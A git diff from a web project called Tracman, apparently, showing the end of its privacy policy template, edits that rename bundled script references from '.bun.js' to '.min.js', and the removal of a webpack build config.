<p>Users will be notified of changes to the privacy policy by email. Users' email addresses can be changed on the <a href="/settings/user">user settings page</a>.</p>
|
||||
|
||||
<h4>How does Tracman handle Do Not Track signals?</h4>
|
||||
|
||||
<p>Tracman doesn't honor Do Not Track signals and Do Not Track, plant cookies. This is because honoring of Do Not Track signals hasn't been implemented yet. </p>
|
||||
|
||||
<h4>Does Tracman allow third-party behavioral tracking?</h4>
|
||||
|
||||
<p>Tracman does not allow third-party behavioral tracking.</p>
|
||||
|
||||
<h3 id='children'>COPPA (Children Online Privacy Protection Act)</h3>
|
||||
|
||||
<p>When it comes to the collection of personal information from children under the age of 13 years old, the Children's Online Privacy Protection Act (COPPA) puts parents in control. The Federal Trade Commission, United States' consumer protection agency, enforces the COPPA Rule, which spells out what operators of websites and online services must do to protect children's privacy and safety online.</p>
|
||||
|
||||
<p>Tracman does not specifically market to children under the age of 13 years old.</p>
|
||||
|
||||
<h3 id='fair-information-practices'>Fair Information Practices</h3>
|
||||
|
||||
<p>The Fair Information Practices Principles form the backbone of privacy law in the United States and the concepts they include have played a significant role in the development of data protection laws around the globe. Understanding the Fair Information Practice Principles and how they should be implemented is critical to comply with the various privacy laws that protect personal information.</p>
|
||||
|
||||
<p>In order to be in line with Fair Information Practices we will take the following responsive action, should a data breach occur:</p>
|
||||
|
||||
<ul>
|
||||
<li>Users will be notified by email within 1 business day of the breach's detection.</li>
|
||||
<li>Visitors will be notified by in-site notification within 1 business day of the breach's detection.</li>
|
||||
</ul>
|
||||
|
||||
<p>We also agree to the Individual Redress Principle which requires that individuals have the right to legally pursue enforceable rights against data collectors and processors who fail to adhere to the law. This principle requires not only that individuals have enforceable rights against data users, but also that individuals have recourse to courts or government agencies to investigate and/or prosecute non-compliance by data processors.</p>
|
||||
|
||||
<h3 id='can-spam'>CAN SPAM Act</h3>
|
||||
|
||||
<p>The CAN-SPAM Act is a law that sets the rules for commercial email, establishes requirements for commercial messages, gives recipients the right to have emails stopped from being sent to them, and spells out tough penalties for violations.</p>
|
||||
|
||||
<p>Tracman collects users' email addresses in order to send information, respond to inquiries, and/or other requests or questions. </li>
|
||||
|
||||
<p>To be in accordance with CANSPAM, we agree to not use false or misleading subjects or email addresses.</p>
|
||||
|
||||
<p>If at any time you would like to unsubscribe from receiving future emails, you can delete your account on the <a href="/settings/user">user settings page</a> or <a href="/contact">contact us</a> and we will promptly delete your account and remove you from <b>all</b> correspondence.
|
||||
|
||||
|
||||
<h3 id='contact'>Contacting Us</h3>
|
||||
|
||||
<p>If there are any questions regarding this privacy policy, you may contact us using <a href="/contact">this contact form</a> or the mailing address below.</p>
|
||||
|
||||
<p><address>
|
||||
Keith Irwin<br>
|
||||
3 Summerhill Lane<br>
|
||||
Medford, NJ 08055<br>
|
||||
United States
|
||||
</address></p>
|
||||
|
||||
<p id='updated'><span class='right'>Last Edited on 2018-03-20</span></p>
|
||||
|
||||
</section>
|
||||
{% endblock %}
|
|
@ -9,7 +9,7 @@
|
|||
|
||||
{% block javascript %}
|
||||
{{super()}}
|
||||
<script type="application/javascript" src="/static/js/.settings.bun.js"></script>
|
||||
<script type="application/javascript" src="/static/js/.settings.min.js"></script>
|
||||
{% endblock %}
|
||||
|
||||
{% block main %}
|
||||
|
|
|
@ -50,8 +50,8 @@
|
|||
<!-- Head javascript imports -->
|
||||
<script src="https://code.jquery.com/jquery-3.2.1.min.js" integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=" crossorigin="anonymous"></script>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/scripts/html5shiv.js"></script>
|
||||
<script src="/scripts/respond.min.js"></script>
|
||||
<script src="/scripts/lib/.html5shiv.min.js"></script>
|
||||
<script src="/scripts/lib/.respond.min.js"></script>
|
||||
<![endif]-->
|
||||
|
||||
{% endblock %}
|
||||
|
|
|
@ -12,4 +12,4 @@
|
|||
</div>
|
||||
</footer>
|
||||
|
||||
<script type="application/javascript" src="/static/js/.footer.bun.js"></script>
|
||||
<script type="application/javascript" src="/static/js/.footer.min.js"></script>
|
||||
|
|
|
@ -57,4 +57,4 @@
|
|||
</div>
|
||||
{% endfor %}
|
||||
|
||||
<script type="application/javascript" src="/static/js/.header.bun.js"></script>
|
||||
<script type="application/javascript" src="/static/js/.header.min.js"></script>
|
|
@ -1,34 +0,0 @@
|
|||
const path = require('path')
|
||||
const env = require('./config/env/env.js')
|
||||
const UglifyJsPlugin = require('uglifyjs-webpack-plugin')
|
||||
|
||||
module.exports = {
|
||||
|
||||
// Javascript files to be bundled
|
||||
entry: {
|
||||
base: './static/js/base.js',
|
||||
header: './static/js/header.js',
|
||||
footer: './static/js/footer.js',
|
||||
contact: './static/js/contact.js',
|
||||
login: './static/js/login.js',
|
||||
map: './static/js/map.js',
|
||||
settings: './static/js/settings.js',
|
||||
password: './static/js/password.js',
|
||||
sw: './static/js/sw.js',
|
||||
},
|
||||
|
||||
// Sourcemaps
|
||||
devtool: (env.mode === 'development') ? 'inline-source-map' : false,
|
||||
|
||||
// Output format
|
||||
output: {
|
||||
filename: '.[name].bun.js',
|
||||
path: path.resolve(__dirname, 'static/js')
|
||||
},
|
||||
|
||||
plugins: [
|
||||
// Minimize JS
|
||||
new UglifyJsPlugin()
|
||||
]
|
||||
|
||||
}
|
Loading…
Reference in New Issue